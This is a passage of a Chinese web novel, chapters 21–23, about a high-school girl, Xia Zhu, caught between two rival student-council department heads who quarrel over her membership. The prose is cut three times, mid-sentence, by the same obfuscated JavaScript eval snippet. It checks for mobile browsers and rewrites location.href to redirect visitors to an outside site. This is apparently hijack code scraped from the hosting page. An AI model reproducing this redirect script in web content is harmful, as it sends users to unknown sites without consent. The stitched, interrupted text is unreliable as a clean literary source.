“那咋了？进了你们纪律部跟坐牢有啥区别啊？哎呦我去……谁在跟我说话？” 那男生笑嘻嘻的，说着就朝纪律部办公室走，然后在众目睽睽之下，一股脑把手上的颜料全糊在人家大门上。 里边迅速丢出一块破抹布，劈头盖脸砸在那男生脸上，紧接着冲出一个扎着双马尾辫的女生，抬起拖把杆就打。 “脏死了脏死了滚远点！又来玷污我们纪律部的大门！假洋鬼子你给我赔！md别跑……” 纪律部门口闹起来了，抹布拖把裹着颜料全场飞，夏注觉得有点不忍直视。 看出来了，宣传部和纪律部的矛盾已经糟糕到随时能打起来的地步……夏注表示叹为观止。 再一看，根本没人去劝架，其他部门不咸不淡地哄笑了几句，又继续专注自家事，好像对这种场面早就已经见怪不怪。 — 沈大部长也没有回头，径直走向夏注，一眨眼就到了跟前。 夏注赶紧收回目光， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16076239|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把自己的退会申请递给他。 “沈通，我想……” “退不了。” 沈通两只手顺其自然的停留在兜里，根本不打算接，恍若未闻。 “你以为是过家家？” “不是，我没有把这种事成过家家。”夏注说：“我没有报名过纪律部，我已经查清楚了，是我朋友擅作主张。” 沈通：“你的事，自己负责。” “这不是我的事，是你们学生会内部的问题，我明明没有这个意愿，现在莫名其妙就被调剂了，应该是你给我一个交代，多的我也不追究了，我只想退出。 ” 不知怎的，夏注总觉得跟沈通说话有点费劲。 这个人脸上从始至终看不出半点情绪变化，她有点拿不准，沈通此刻心情如何？ 沈通说：“没这规定。” “所以我在跟你商量啊！” 夏注差点气出脏话，又努力压下去，耐着性子继续道：“我学习很忙，不想把精力放在不喜欢的事情上。所以咱别浪费时间好吗？你就说要怎样才能退？需要哪些手续？哪些资料，我可以自己准备……” “看不上纪律部就直说，你他妈找什么借口？” 身后突然有个声音在耳边炸开，给夏注吓得一激灵。 回头一看，正是那个提着拖把、满场追人的纪律部女生。 “在场的哪个学习不紧张，就你最忙？想来就来，想走就走，你把我们纪律部当什么了？” 这句话给夏注的火气一下子提高了一大截，心想谁说的纪律部个个严肃稳重？这不就有一个会拱火的？ “没办法，我就是刚好比你忙一点点。”夏注说。 “我不是看不上纪律部，主要还是觉得，跟你一起共事会拉低智商。” “说得好！” 宣传部那个混血男生一溜烟跑过，半路上插了一句，“在纪律部待久了就会变成沈通同款死鱼脸哦！美女你要是想来我们部门随时欢迎啊哈哈哈哈……嗷！” 他说话没说完，屁股上就挨了一拖把。 跟在他后面的女生抬脚追上去，两人绕着接待台转圈圈，中途又有几个两部门的兵加入战场。 夏注光是站着，就被推搡了好几下。 “沙币你敢说我们部长，信不信我撕烂你的嘴？！” “哟哟哟说不过就打，算什么本事啊？” “我呸！你们宣传部就凭一张嘴！于支扬上梁不正下梁歪！” “艹？你敢骂我们部长？？” “……” 听到这些，沈通那张原本冷淡的神态终于出现了一丝变化，他问夏注：“你觉得，纪律部不好？” 夏注嘴角狠狠抽了一下，心说不大哥，你这么问谁敢说不好？难道我应该大声回答说“是的我就是看不上你们纪律部”么？？那岂不得被当众围殴…… 话又说回来，当众夸夸也不合适，反而更难退出。 见夏注迟迟不说话，沈通大概误会了什么，一只手直接抽走夏注的退会申请，五指收紧揉成团，“噗通”一声，隔空扔进垃圾箱。 “我说了，退不了。” 丢完纸团，他也不废话：“两个月实习期，合格，留下。不合格，走人！” “不行两个月太长了！”夏注赶紧跟上去，最后一次跟他讲道理。 “你们招人难道不该考虑一下本人的意愿吗？俗话说得好，留得住人留不住心啊，我就算强行留下来也做不好事，这样的你也要吗？” 沈通：“做不好，一样走。” “不是大哥，话也不能这么说，谁也不想故意搞破坏，我没有为难你的意思，你就把字签了不行吗？” “沈通！你到底有没有听见我说话？！” 讲道理讲不通，夏注有些急了，加快速度绕到前面堵住他，最后问了一遍：“我就是想退出，你到底能不能签？” 周遭空气停滞了一瞬，大概是从来没有人敢把一中的纪律部长堵在楼梯口，大家纷纷别过脸，提前露出惨不忍睹的表情…… 就连沈通本人也愣了一下。 身后楼梯间传来有人说话的声音，踏上台阶的动静一步一响，夏注的心跳也跟着快了几分。 两人站在楼梯口对峙，谁也不肯让路。 脚步声越靠越近，很快拐过弯道，在夏注后下方台阶停下。 “你们……干什么呢？” 来人不是别人，正是于支扬。 21.21两位部长吵架啦 于支扬站在楼梯拐角处仰起头看着他们，视线在夏注和沈通脸上依次扫过。 夏注说：“你问他。” 于支扬当然不会问，也不需要问，聪明如他，从纪律部那群人气势冲冲的态度就看出怎么回事了。 “你傻吗？不能退学生会就不退呗，转个部门不就行？” 在所有人还没反应过来的时候，于支扬突然低头笑出声，一只手插在兜里，原本紧绷的气息一瞬间放松下来。 不知道是不是夏注的错觉，于支扬这声笑，好像是发自内心真的很高兴。 她有一瞬的愣神，就连沈通也不禁皱眉。 于支扬一步步走上台阶，终于出现在所有人视野里。 “实习期内不准退出，可没说不准换部门。怎么样夏注，考虑好了吗，来不来宣传部？” 这个人每次开口总能提出新的思路，但夏注下一秒就发现这句话有多糟糕了。 一时间，接待台那两个女生看夏注的眼神突然变得有些古怪。 一边要退纪律部，一边又偷偷接下了宣传部递来的橄榄枝，怎么看都像两面三刀的墙头草。 这下其他部门不相干的也来了兴趣，七嘴八舌变成了八卦大会： “哦豁，于支扬亲自邀请的？那结果很明显了啊，难怪不惜一切代价也要先退纪律部……” “这不是以前二十八班的夏注嘛，那就不奇怪了，爱装得很。” “啥？她就是夏注？我记得她以前好像不长这样啊……” “怎么不是？就是头发放下来气质不一样了而已。看看，我就说纪律部没什么好玩的，进去了都不想待……” 夏注平时跟沈通接触的不多，下意识去看他什么反应。 沈通也正好转头，高挺鼻梁上的镜片依稀反着幽光，盯着夏注的表情不太好看，似乎也正等着她给个解释。 趁着这个空挡，宣传部那个混血男生小跑过来，附到于支扬耳边小声问：“部长，咋回事啊？咱们宣传部人早就够了啊……” “我乐意，这种自带热度的人才不捡白不捡。” 不捡白不捡，这种话也只有于支扬说得出口。 夏注回过味来，觉得自己脾气还是太好了，这都没把于支扬脑袋拧下来当球踢。 那个混血男生琢磨了一下，恍然大悟，不知道哪根筋搭错了，突然两眼放光：“我懂了，直接跟纪律部抢东西，好刺激啊！” 被抢的“东西”夏注本人：“……” 于支扬一来，宣传部有了主心骨，没两分钟的功夫，夏注已经清晰感受到双方的火药味越来越冲，甚至已经有人开始小声对骂了。 - 夏注脑子里只剩下一个念头：她哪个部门都不能进！ 不料还没来得及开口，沈通突然向前走出去两步，挡住了她的视野。 他对于支扬道：“挖人？” 声音虽然淡淡的，但能感觉得到沈通浑身上下充斥着危险气息，夏注头一次在沈通身上，发现了稳重古板之外的另一面。 沉重的压迫感席卷开来，大家小心翼翼屏住呼吸。 于支扬却好似完全不受影响，依旧姿态散漫地站在原地，微微眯眼打量起沈通。 “关你什么事？好狗不挡道，让开。” 他说完，还饶有兴致的冲沈通身后的夏注扬起下巴，催促道：“嘿，到底来不来？给个准话！” 夏注站在原地没吭声。 当下实在不是表态的好时候，因为压根没人听她说话。 沈通：“说谁是狗？” 于支扬：“谁答话我就说谁呗！” 两人说着说着就开吵起来。夏注很快就体会到传闻中宣传纪律两大部长私下的关系，究竟是怎么个水火不容了…… 余光突然发现有闪光灯在晃动，走廊上有人拿着手机正在拍照！ 夏注对这方面感知一向很敏锐，迅速扭头看去，但好像大家都习以为常，更不会上前阻止。 “卧槽两位大佬又要掐架了！闲人快快回避！” “不是吧又要吵啊，这个月都第八次了……话说我能不能录个视频？拍个照也行……” 话是这么说，实际上根本没有人回避。 眼看着宣传部门口有个小姑娘把ccd举起来了，夏注直接走过去，装作不经意挡住镜头。 “什么情况啊？他俩经常这样吗？” 视频拍不成了，那个女生只是咂咂嘴，最终也没说什么。 “何止是经常？只要他俩同框就没有一次不吵的。” 见夏注一脸疑惑的神态，她又补充道：“吵就吵吧，有什么办法呢？除了苗部长，也没人劝得了……” 夏注看着大厅中央那两道身影，心里说这哪是劝不了？这明明是不敢吧。 关键是夏注疑惑，夏注想不通：这俩人到底是怎么吵起来的？？ 他俩！一个跟语言障碍似的，三四个字三四个字往外蹦！另一个滔滔不绝喋喋不休叽叽喳喳跟跑火车似的！根本不给对方插话的机会！！ 拜托！就这样的两个人也能吵得起来吗？这不合理！！ “没毛病，但他俩就是这样吵的呀……” 夏注：“？” - 接待台两侧，于支扬和沈通两人各占一边，你一句我一句，你碰我一掌我拍你一爪。 战况好像不太激烈，但画风惨不忍睹，偏偏没人敢中途叫停。 夏注略无语地捂住自己眼睛。 “说谁是狗？” “你有完没完啊？谁挡路谁就是狗！” 沈通一口气分三次喘，气场大开大合：“宣传部，就这素质？” 于支扬脸上挂着假笑，满不在乎地耸了耸肩膀，回怼说“都已经吵架了还谈什么素质？气死对手就是素质，吵架就是没素质，你先带头吵就是你没素质！没素质的你麻烦让开谢谢，跟你说话简直浪费我口水！” 沈通：“她报名的，纪律部！” 于支扬：“谁说是她报名了？你亲眼看见她写、还是亲眼看见她填？就算是她报名又怎样？她现在反悔了她不愿意待，诶，那你就是管不着！” 沈通：“那就等！实习期过！” 于支扬“啧”一声：“你说等就等？为什么要等？” “这是规定！” “我不认这规定！” 两人吵架吵得行云流，一气呵成，最后话题又绕回到原点。话题的主人公夏注站在旁边，震惊得嘴巴都合不上。 虽然这种时候插话可能很没有眼力见，但她还是打算插一句： “那个……能不能先暂停一下？听我说一句。我是个人，又不是东西，我的事我自己会做决定，你俩没必要吵，你俩说了也不算数。呃……实在想吵也行吧，但别拿我的去留当枪使。这是两码事，别带上我行吗？” 很可惜，这句话不管是语调还是音量，显然都没什么威慑力。 场上两位大神鲨红了眼，压根听不进一个字。 沈通重重扶了一把眼睛，胸口上下起伏着：“规定就是规定！你敢违规？敢带她走？” “知道自己不是东西就闭嘴，你捣什么乱？” 于支扬倒是抽空扫了夏注一眼，又转向沈通，大声说： “我敢！” 夏注气得龇牙，在心里大骂，我靠他敢凶我？我靠，凶什么凶，还真不是个东西…… “转部门之后也照样还在学生会啊！就是签个字的事，凭什么不能转？就你们纪律部屁事最多！” “这是转部门的事吗？你们明明就是故意抢人！欺人太甚！” 双方部门学生各自站在自家部长身后，也跟着加入战场。 宣传部：“就会搞些形式主义的东西！条条框框的规矩一大堆！一点小事也不放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16076240|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还不让人说？” 纪律部：“没有规矩不成方圆！谁家宣传部长像你们于支扬这样的臭不要脸？带头闯祸？” “假洋鬼子你还要不要脸？把我们门牌糊成这个鬼样子，要么给我擦干净要么赔个新的来！” 刚消停了没一会儿的拖把大帝又开始乱甩，这下真是乱成一锅粥了。 事已至此，趁热喝吧。 夏注眉心揉的通红，决定做点有价值的事。 她找到一片干净的地板，席地坐下，从书包里翻出自己的记事小本子，开始记录于支扬对每一句话的反应。 “赔赔赔，赔什么赔？找我画画的人从一中宣传部排到二中大门口！哥们免费给你画两笔，你还不偷着乐？” “乐尼玛！你要是不把颜料给我舔干净了，这事没完，我告到政教处去！” 双方吵得不可开交，“罪魁祸首”夏注本人却在角落里悠哉乘凉。 终于有人看不下去了，问要不要打个电话叫苗渔来，或者下楼去找个老师上来劝一下…… 根据后来的cp楼博主透露，当时夏注本人微笑不语，半点不操心，只淡淡地说没关系，他们心里有数…… — “什么颜料？”于支扬的目光转向不远处那一滩不知名液体，然后回头眼神询问。 带着蓝色棒球帽那个混血男生在人群里十分显眼，知道躲不过，小心翼翼举起一只手，说“不是颜料，部长，就是……水粉而已……” “哦，是你啊。” 于支扬面上带着笑，高高大大的男生却下意识缩了缩脖子，总觉得有一股强烈的压迫感突然席卷了他。 于支扬没说什么，也不骂人。 他活动了一下手腕，走进人群，一把扯住那个混血男生的后脖领子，揪着他“送”进了宣传部办公室，片刻后独自出来，然后甩上了门。 “不好意思啊，管教不严。” 众人站在原地，一时间没人吭声。 于支扬微笑着摊开手走来，一副脾气很好的样子。 那个提着拖把的女生低声问：“这就完了？” 于支扬：“昂，完了，难道还要送去你们部门吗？” “啧，我们才不要……” 女生一调头，正巧看见夏注坐在角落里事不关己，居然还有心情看书，瞬间气不打一处来。 “姓夏的！说你呢！这都什么时候了你还看！我的天哪来的绝世绿茶？都已经进了纪律部还装什么装？左右摇摆你到底膈应谁啊？！” 夏注闻言，笔尖突然停滞，再抬起头时，眼底混杂着汹涌的戾气。 “你TM再说一遍试试？” “怎么你不服啊？我说你是……” “闭嘴。”话说到一半，沈通的声音在背后幽幽响起。 那女生回头一看，自家部长正冷冷注视着她。 “三秒钟，道歉。”沈通取下眼镜在手里擦拭，警告性扫了她一眼，这种指令从来不会重复第二遍。 她无奈地咬咬牙，把手里的拖把背到身后，朝夏注鞠了一躬。 “对不起。刚刚是我口不择言，一时冲动了，夏注同学，我给你道歉！” “不好意思，没打算原谅你。”夏注低头给本子翻页，看也不看她，说不原谅，也不像要继续追究。 几分钟后，三楼大厅里的吵嚷声似乎消下去一截，也可能是双方终于吵累了。 夏注靠着在盆栽树观察了大半天，反倒看出些门道来。 两个部门发生矛盾，表面上看好像越吵越凶，场面逐渐失控，其实雷声大雨点小。所有人都只停留在嘴上攻击，两边没有一个人敢真正动手的。 实际在两个部长的把控下，就算翻过天去，顶多也只能是一场规模大一点的辩论赛。 夏注这才惊觉，原来这两个人能稳坐那个位置，也不是没有理由的…… 22.第二十二章 沈通没发话，那个女生道完歉后，站在原地不敢走，三番两次偷瞄夏注的反应。 夏注倒不是没发现，她觉得自己平日里挺大方的，就是在特定情况下，爱记仇。 所谓特定情况，表现为有的人一时冲动会说出难听的话，这叫口不择言；有些则一开始就是冲着刺伤别人去的。 她觉得没有解受道歉的必要，但沈通似乎非要等一个结果。 于支扬不动声色道：“看到了吗夏注，纪律部也就这样，你要是去他们部门，以后肯定给你穿小鞋。” “不用你管！”沈通打断他。 “我想管就管！你凭什么不放人？” “纪律部，不接受挖人！” 兜里的手机传来两声振动，夏注用书包挡着偷偷瞄了一眼。 于支扬还在冷嘲热讽：“所以说白了你就是看不惯别人跳槽到我这儿呗，自己部门留不住人，还怪别人头上？” “好了，两位歇歇吧。” 夏注从地板上站起来，重新入场，好像终于良心发现，想起来自己应该劝个架。 “光嘴上道歉也没啥意思，沈部长，都到这一步了，你不如签了我的申请，这事就结了是不是？大家都省事了。” 沈通冷冷盯着她，不说话。 早知道会是这个结果，沈通软硬不吃，夏注轻轻叹息，转向于支扬。 于支扬在夏注过来的那一刻，思绪突然有些混乱，他也说不清具体什么感觉，夏注越走越近，他心底反倒升起一股局促感。 可是夏注没有停下，直接略过了他。 “宝爷！” 杨宝儿的尖叫声在整个三楼炸开，“你们干了什么！干了什么！” 于支扬心底那股怪异感被截断，回头一看，杨宝儿站在楼梯口，面对五彩斑斓的地板、墙壁上的颜料发出了尖锐的爆鸣—— “啊……我的绿萝！我新买的拖把！还有我最爱的猪猪侠和林妹妹！谁干的？你们这群人太狠毒了，趁我不在拆我家啊，林妹妹你死的好惨……” 猪猪侠是挂在后勤部办公室门口的猪笼草，林妹妹是挂在右边那盆含羞草。 夏注走过去，拍了拍杨宝儿的肩膀：“宝爷节哀，还有得救，咱先说正事。” “怎么闹成这样？” 苗渔紧随其后出现，应该是跟着杨宝儿一起上来的，看见各大办公室门前一片狼藉，也震惊了。 接待台两个女孩好似看见了救星，一路小跑到苗渔身边，去跟她说明情况。 升华一班的四个部长全在这儿了，其中最靠谱最稳重的，当属苗渔。 一班的每一尊大神都不好惹，唯一能管住他们的人，也就只有他们班班长苗渔了，大家都相信只有她能稳下局面。 苗渔静静听着，听到于支扬主动邀请夏注进宣传部时，眼底浮起一抹意外。 “就为了抢个新人？这点小事闹得这么难看，二位可真给一班长脸！” 两个男生都没应声，夏注也站在旁边乖乖听训，她给杨宝儿发了消息，但没想到苗渔会跟着一起来。 苗渔板着脸，又批评了几句，最后对夏注说：“学生会不准随进随出，他俩争来争去的也没完，夏注，你要不就来学习部吧？” 沈通原本脸色紧绷，一言不发。于支扬则吊儿郎当站在原地，左耳进右耳出。 一听这话，两人齐刷刷看过来，异口同声道：“凭什么？！” “没有凭什么！” 平日里文静温和的女班长，此刻怒目圆瞪，指着他俩数落：“你俩！我都懒得说了，一个学委，一个纪委，平时在班里吵吵就算了，在外头还吵？像什么样子？不就一个新人，有什么好争的？再吵下去，传到政教处耳朵里谁也没有好果子吃！” 鹬蚌相争正火热，这谁能接受半路杀出个苗渔来？ 于支扬显然不服气：“你们学习部这次就招六个人，名额不是早就满了吗？” 苗渔：“宣传部不是也满了吗？你又争什么争？” 沈通：“我这没满。” “那你就再招！你们两个总这样吵来吵去的，能不能给自己手底下人树立一个好榜样啊？他们都被带成什么样了？” 苗渔一边说，手上也没闲着，直接上手把夏注拉到自己身边：“说来说去全是我们一班自己人内讧，白给外人看笑话。夏注，你考虑一下，就来学习部吧？” 夏注：“那不用考虑了，我同意。” 原本她发信息让杨宝儿过来，就是打算选择第三方案，现在由苗渔主动提出，结果也一样。 “好，那你现在就跟我去打申请，走吧。” 两个女生说走就走，都怕晚一步对方会反悔一样。 夏注三两句话就被截走了，于支扬和沈通愣在原地面面相觑，相互瞪了对方一眼之后，暂时停战。 — 苗渔在转部门的申请上签了字，夏注跟着她在学习部转了一圈，熟悉环境，最后才返回教室。 第一节晚自习下课，夏注正埋头算一道函数题，桌子上突然飞来一个纸团，转头一看，夏加林正趴在窗户上。 夏注心里有点烦，不想搭理他，结果夏加林又找人来，非叫她出去。 一出教室门，夏注二话不说，把那团纸直接糊他脸上，夏加林倒主动凑上来，一脸兴奋： “刚才啥情况啊？宣传部和纪律部那俩，咋吵起来的呀？论坛上说他俩抓着你不放？快跟我说说真的假的？！” “跟你有关系么？” 夏注一猜他就是要打听这事，转身就要回去。 夏加林赶紧拦住她，“别啊，再聊两句，woc老妹，你真是让我开眼！你居然敢去退纪律部？好样的，那破地方咱不稀罕进！” “纪律部怎么你了？”夏注打断他。 “你说呢？沈通那王八蛋一个学期让我背了三个处分！我他妈就没见过这种疯狗，逮着人就咬，一点情分也不留……” 夏加林说完，捂住嘴巴，狗狗祟祟地朝教室里边瞄了一眼，勾起夏注朝一班后门走去。 他边走边竖起一根大拇指：“我TM早就看姓沈那小子不顺眼了，你可一定要站我这边，平时有啥风吹草动的，及时报个信……” 夏注轻啧一声，拍开搭在自己肩膀上的爪子，没说愿不愿意。 夏加林自顾自掏出手机，拇指在论坛页面上一划，然后递给她看。 “看，风向不太对，好多都是骂你的，说你跟于支扬提前预谋，故意挑事，要不是最后你们班班长来了，说不定都要打群架了……” 夏注心说没那么夸张，论坛上大火烧的旺，纯粹是因为那群人爱煽风点火。 一眼扫下去，几个大号疑似是宣传部的，都在明里暗里嘲讽纪律部留不住人。 底下有纪律部的人回怼，两边隔着网线，顶着网名，仗着对方打不着，骂得比线下难听百倍，已经开始问候对方十八代祖宗了。 夏加林：“这就破防了，纪律部这群人真经不住逗哈哈哈哈，你跟于支扬这一局打得漂亮啊！” 夏注：“跟于支扬没关系。” 夏加林：“怎么没关系？你俩不是一伙的吗？” “完了。”夏注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16141863|177505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单手扶额，重重叹了一口气，“连你都这么觉得，那是真完了。” 原本以为只要两边都不选，就能两边都不得罪，现在看来，情况远比她想象中糟糕得多。 她大张旗鼓的去退纪律部，中途于支扬突然冒出来挖人，最后纪律部还没留住人。这的确很难让人相信，他俩不是私底下约好设局、故意嘲讽纪律部的……何况她跟于支扬的关系，本来就说不清。 如今两个部门的矛盾再次升级，沈通如果看到这些帖子，估计会更恨于支扬吧…… 夏注不得不慌，根据她统计出来的，于支扬身边的危险人员名单里，沈通本来就是嫌疑最大的一个。 事已至此，她迅速在脑海里思考补救的方案，自言自语道：“不行不行，这锅我得自己背下来……” “你在说什么疯话？” 夏加林一脸惊疑不定的看着她，心想我特么还没见过有人上赶着背黑锅。 然后他的手机就被抢了，夏注退了他的号，登进自己的账号，连输入密码的手都在颤抖。 “不是，你这着急忙慌的到底怎么了？” 夏加林凑过去一看，夏注正在打字。 Jude：【纪律部一直是我最向往的部门，可惜我身上背了处分，德不配位，太遗憾了，感谢沈通沈部长愿意接纳，但我却不能蒙混过关。对于本次申报材料造假一事，我已经做了深刻的检讨，感谢沈部长愿意给我改正的机会，我以后一定会好好学习，认真表现，争取下次再申请！】 检讨书？？ 夏加林小小的眼睛大大的疑惑，赶紧一把按住手机，说什么也不让夏注把这条帖子发送出去。 “你这写的啥呀！为啥要跟纪律部道歉？还有你那处分……我记得不是早就销了吗？你又拿出来说干啥？” “给我！我手机关机了！” “不给！” 夏注垫高了脚尖去抢，夏加林仗着身高，转来转去就是不让她拿到手，“夏注！夏注我跟你说！这要是发出去，你得被唾沫星子淹死！” “我有我的道理，你别管！” “不行，不对劲，你必须给我说清楚，到底为什么呀？你到底站哪边的？你不会真是脚踏两条船吧？表面上苦追于支扬，实际上心里喜欢的是沈通？” “是是是，我喜欢行了吧，你快拿来！” 这种赶热度的澄清贴，必须趁热发，晚了又会被当成是事后狡辩，夏注刚才看见夏加林手机也快没电了。 夏加林惊得目瞪口呆，一时忘了反抗，等他反应过来，夏注已经抢走手机，按下了发送键。 “太贪了吧夏注，不喜欢你还追的那么真？连我都要信了……啧啧啧，真会玩～” 见他一脸龌龊的表情，夏注看傻子似的白了他一眼，心想这个大沙币，果然别人说什么他就信什么。 “以后别把我跟于支扬归一队，退纪律部是我自己的主意，他啥也不知道……我的事与他无关，听懂了没？” 夏加林：“我懂我懂，我绝对保密，那我也跟你商量个事……” 夏注：“什么？” “你跟老妈说一声，零花钱还让我自己管呗，凭啥每次还得跟你要啊，我才是老大……” 夏注听完，缓缓勾起嘴角，指了指他身后。夏加林刚一转身，屁股上就挨了一脚，夏注一边踹一边问：“谁是老大？谁是老大？你再说一遍谁是！” 上课铃声刚好响起，夏加林一路哭喊着：“麻了麻了翻天了，以小欺大，天理不容！夏注你给我等着！迟早有人收拾你！” 最后捂着屁股，歪歪扭扭地跑远了。 23.第二十三章 夏注的检讨书达到了她预想中的效果，论坛上吵了三节晚自习，注意力从两大部门的矛盾，转移到她一个人身上。 后台收到了很多私信，全是骂她简历造假的，她看也不看，直接一键清理。 苗渔也在下课期间，来问她关于处分的事，一听是个误会，松了口气，只是委婉的表示，身上有处分的人不能加入学生会，如果夏注不愿意澄清，那她只能按照规定劝退了。 夏注理解，并表示自己过几天会主动退出。 她把所有责任揽到自己身上，纪律部一下子扬眉吐气，两边没什么可吵的，很快就停战了。 不过有一点她失算了，沈通好像从来就不看论坛，根本一无所知。 夏注总有种哑剧演给瞎子看的感觉，谁叫他听不见也看不见。 于支扬也没看论坛，但总有人通过各种渠道，把消息传到他耳朵里。 所以晚自习一放学，夏注就在楼下被堵住了。 这是于支扬第一次在楼下等她，周围人都散的差不多了，他两手插兜，独自站在花坛边一颗桂花树下，书包只背了一边，另一侧长长的带子甩在身后。 夏注今天挺累的了，想装没看见，于是故意用英语课本挡住脸，从旁边绕过去。 “站那。” 于支扬出声警告。 夏注脚步一顿，还是有点想跑，她总觉得自己不太擅长应付这种场景，每次都要编一大堆谎言来应付，挺麻烦的。 于支扬的脚步声缓缓靠近，走到她身后停下。“你跑什么？这么不想见到我？” 夏注只能放下课本，老老实实转身。 这人没怎么变，生气的时候眉峰总是凌厉的，全身上下笼罩着一股淡淡的压抑气息。 见她不动，于支扬把手搭在她的后脖颈上，稍微一用力，夏注就靠过来了。 他不动声色地垂眸，看着夏注的眼睛，“我听说，你对纪律部向往已久，还预备下次再战？” 语调有点像调侃，声音很轻，却总给夏注一种阴阳怪气的错觉。 这要怎么回答？没，不向往，不战了，下次不敢了？ 不能这么说，怂得太快的人以后是没有家庭地位的！ 她的脑子飞快运转，想着该怎么才能让于支扬相信，自己宁愿挨骂也要替纪律部正名，纯属一时兴起？但好像不管怎么编，都没有说服力…… 最后稀里糊涂冒出一句：“我知道你长得很好看，但我不想说，你也不能在这亲我。” 于支扬：“……” 头顶那人呼吸停滞了一瞬，空气中缓缓飘过几个省略号。 应该是给他无语住了。 “有病！” 于支扬一把推开她，半边耳垂悄无声息染上一抹粉红。 “那你让让啊，下晚自习了我要回家。” 夏注选择放弃挣扎，解释不通就干脆不解释了。 “等等，”于支扬再次挡在她面前，语速极快：“你今天为什么要帮纪律部？为什么要说自己背了处分简历造假我查过了根本就没有！你在撒谎，你为什么要帮沈通，你明明知道我跟他不对付！” 夏注：“我再说一遍，让开。” 她迈开步子朝旁边走，于支扬继续拦着，这一次，直接拉住了她的手腕。 “你都不解释？难道我邀请你进宣传部我还有错了？这是我第一次亲自邀请人！” 夏注：“你能不能收敛一点？” “收敛什么？我看你跟我合谋是假，跟沈通合谋才是真吧？好一招里应外合，夏注你玩得很溜啊？你怎么不……” 拉扯中，英语课本被碰掉在地上。 夏注拧眉，倏地抬起头。 于支扬在看到她眼神的一瞬间，没说完的话立刻连吞带咽，全缩了回去。 那是一个及其刚戾的眼神，带着阴森森的警告，仿佛写着“你敢再多说一个字就把你舌头剁碎了喂狗”。 饶是于支扬也不禁一怔。 夏注挣开束缚，突然爆发，毫不客气地揪住于支扬的一只耳朵，重重拧了一把，给他疼得“嘶啊”一声叫。 “我什么时候说过我要进宣传部？你的耳朵听不懂人话，啊？我都已经拒绝过了，你为什么还要再当众邀请一遍？？” 于支扬：“啊疼疼疼！” 夏注：“忍着！你以为我看不出来你就是故意当着沈通的面挖人？你就是故意给他找不痛快是不是？还敢拿我当枪使！？” 于支扬：“那咋了，我TM就是故意的又怎么了？” 这是还不认错？夏注继续使力：“你说怎么了？就非要逞一时之能出这没用的风头吗？既然了解对手就该懂得趋利避害！而不是明知不可为而为之！” 揪着他耳朵的那只手力度很大，于支扬轻轻一动，就能感受到钻心的疼痛。夏注好像很懂的怎么拿捏他，物理意义上的拿捏。 “你干什么非得招惹他？干什么非得在他雷区上蹦迪？好好的非要主动挑事，你是不是欠啊！！” 于支扬疼得龇牙咧嘴，两只手僵在空中无处安放，既不敢碰夏注，也不敢轻举妄动。 夏注一直不松手，他生生熬过了一轮疼痛，一个劲喊疼，喊了半晌，发现夏注早就不说话了。 头顶上方的教室一间一间变黑，周围静悄悄的，晚风里充斥着扑面而来的闷热感…… 于支扬睁开眼睛看她，瞳孔里闪着微光。 黑暗中，女孩子一动不动盯着他看，看了几秒，然后就着这个姿势，忽然用双手捧住了他的脑袋。 于支扬眨巴眨巴眼睛，大脑顿时一片空白。 夏注的指尖深入他的发梢，似在摩挲，看着看着，嘴角慢慢下沉，露出一抹他看不懂的复杂情绪…… 于支扬听见她问：“你就不怕他终有一天会报复你？” “不……不会。” 他说的是不会，而不是不怕。 夏注一怔：“为什么？” 于支扬后退两步，有些不自然地转过去，揉了揉耳朵，感觉自己从上到下从里到外烧起来了…… 他含含糊糊道：“芝麻大点屁事，就报复……你是看不起他，还是看不起我……” “什么意思？”夏注继续问。 怎么一提起沈通她就格外上心？？ 于支扬啧一声，干脆回过头来跟夏注对峙：“我说你到底怎么回事？我跟沈通就算是要报复，那也是在成绩上光明正大的打败对方！谁也不稀罕背地里玩阴的，只有low人才干low事……” 想了想，他又回过味来，指着夏注鼻子道：“不对！说了半天你教训谁呢？你还没回答我你今天为什么要帮纪律部！你为什么要说自己简历造假？！” 夏注：“……” 他怎么又绕回来了。 夏注无语扶额，实在有些累了：“我瞎编的你也信？没什么动机，如果非要有的话，我只是想劝架。” 她说完，弯腰捡起英语课本，掠过于支扬就打算离开。 于支扬在她身后跟了两步，仍旧不肯罢休：“夏注，你的态度有问题，你明明就向着他！” 夏注：“你能不能别无理取闹，时间不早了，我真要回家了。” “你想好了，你要是帮着沈通，就是跟我过不去！” “无聊。” 身后于支扬停下脚步，不再跟了。 夏注不知怎的，忽然想起那天晚上在家里跟夏加林一起吃面，夏加林说过的话。 她犹豫片刻，停下脚步，微微侧首，用平静的气音问他：“于支扬，你是不是喜欢我？” 五秒钟过去了，没有回答。 十秒钟过去了，还是没有回答。 她回头一看，余光里那人已经走远，也不知道有没有听见。 — 一周后，周六一 